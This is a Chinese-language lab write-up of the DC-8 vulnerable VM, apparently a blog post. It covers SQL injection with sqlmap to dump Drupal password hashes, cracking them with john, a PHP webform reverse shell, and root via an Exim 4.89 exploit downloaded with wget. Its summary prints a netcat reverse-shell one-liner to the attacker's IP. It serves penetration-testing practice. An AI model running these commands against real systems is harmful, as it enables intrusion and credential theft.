DC-8靶机做题记录

靶机下载地址:

链接:https://pan.baidu.com/s/1jPMYoyFZXqr7sVMElHqGcw?pwd=ypq9 
提取码:ypq9 

参考:

image.png
描述:

Description 描述
Back to the Top
返回顶部
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-8是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
这一挑战介于实际挑战和“概念验证”之间,即在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用。

The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
这一挑战的“概念验证”部分是由于推特上有人问到关于双因素身份验证和Linux的问题,也是由于@theart42的建议。

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
这个挑战的最终目标是绕过双因素身份验证,获取root并读取唯一标志。

You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
除非您尝试通过SSH登录,否则您可能甚至不知道已经安装和配置了双因素身份验证,但它肯定在那里并完成了它的工作。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

1、导入VMware虚拟机

下载完成后,得到DC-8.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

2、拍摄快照,防止后面出问题,有快照还能恢复到初始设置
image.png
3、kali创建一个目录 dc8 ,后续的操作都在该目录下进行
image.png

使用工具

攻击者:kali 192.168.1.128
靶机:dc-7 192.168.1.136

一.信息收集

基础信息查询

0x01 查看存活主机 0x02 查看开放端口 和 0x03 查看端口服务

这几条命令的用法可以看之前的博客,这里不再赘述
image.png
image.png

目录扫描
dirsearch -u "192.168.1.136" -e php -i 200

image.png

页面探测

CMS探测

whatweb 192.168.1.136

image.png
发现又是Drupal 7
image.png
点击蓝色的这里,查看URL发现有相关的参数,猜测存在SQL注入漏洞
image.png
在URL后面加一个单引号('),发现页面显示SQL报错语句,确认存在SQL注入漏洞

二、渗透过程

解下来用SQLmap进行自动化注入

爆库名

sqlmap -u "http://192.168.1.136/?nid=1" --batch --dbs
  • –batch 表示不用询问我,直接Yes,一直进行下去
  • –dbs 表示列出数据库

image.png

爆表名

sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db --tables
  • -D 指定数据库,如果数据库名含有特殊字符要用双引号包裹
  • –tables 列出数据表名

image.png

爆列名

sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db -T users --columns

image.png

爆字段名

sqlmap -u "http://192.168.1.136/?nid=1" --batch -D d7db -T users -C uid,name,pass --dump

image.png
得到了两个用户,还有hash值
我们先新建一个文件,把这两个密码hash保存起来

  • 记得要用单引号,不然会失败,因为双引号是转义了

image.png

爆破密文
john passwd.txt

image.png
只爆破出了一个密码turtle
接下来测试一下是谁的密码
找到刚刚目录扫描的时候,扫到一个登录的目录/user/login/
image.png
或者在[http://192.168.1.136/robots.txt](http://192.168.1.136/robots.txt)里面也可以看到,在Disallow的那里
image.png
admin的登不上,说明是john的密码
image.png
登陆成功
image.png

反弹shell

点击Contact Us,里面的Webform
image.png
那我们直接写一句话木马,来进行反弹shell
image.png
点击下面的Save configuration保存
image.png
然后我们先在kali 监听 1234 端口
image.png
然后我们提交了东西之后,才能让它去解析PHP代码
image.png
成功把shell弹过来了
image.png

优化shell

python -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm

image.png

提权

查看是否存在suid提权

find / -perm -4000 -print 2>/dev/null

image.png
发现exim4
查看一下exim4的版本,发现是4.89版本

exim4 --version

image.png
搜索一下漏洞库里有没有,发现符合版本标准,并且可以提权(Privilege Escalation)的

searchsploit exim

image.png
先把这个脚本下载到当前目录,再改个简单一点的名字

searchsploit -m 46996.sh

image.png
然后在这个目录开启HTTP服务,为了能够让靶机把这个脚本下载下来,并在靶机执行这个脚本

python -m http.server 80

image.png
看到这个页面就说明HTTP服务开好了
image.png
来到靶机的shell,将EXP脚本下载下来
首先来到/tmp目录,因为这个tmp目录的权限最大

wget http://192.168.1.128/a.sh

image.png
image.png
给脚本加上执行权限

chmod +x a.sh
  • +x 表示给执行权限

image.png
然后执行脚本来提权
查看脚本有两种使用方式

  • ./a.sh -m setuid
  • ./a.sh -m netcat

image.png
image.png
我们选netcat

./a.sh -m netcat

获得root权限
查看根目录下的flag文件

获得flag

image.png
image.png

总结

  1. 信息收集很重要,从robots.txt和扫目录的时候获得后台登录的目录
  2. 对SQL注入的认识要能意识到是否存在SQL注入,还有对SQLmap的使用要熟练
  3. 密码爆破工具john的用法
  4. 反弹shell的一句话要熟练nc -e /bin/bash 192.168.1.128 1234
  5. 还有优化shell的命令python -c "import pty;pty.spawn('/bin/bash')"
  6. 最后提权,对漏洞库的用法和搜索要熟练

完毕!

  • 16
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值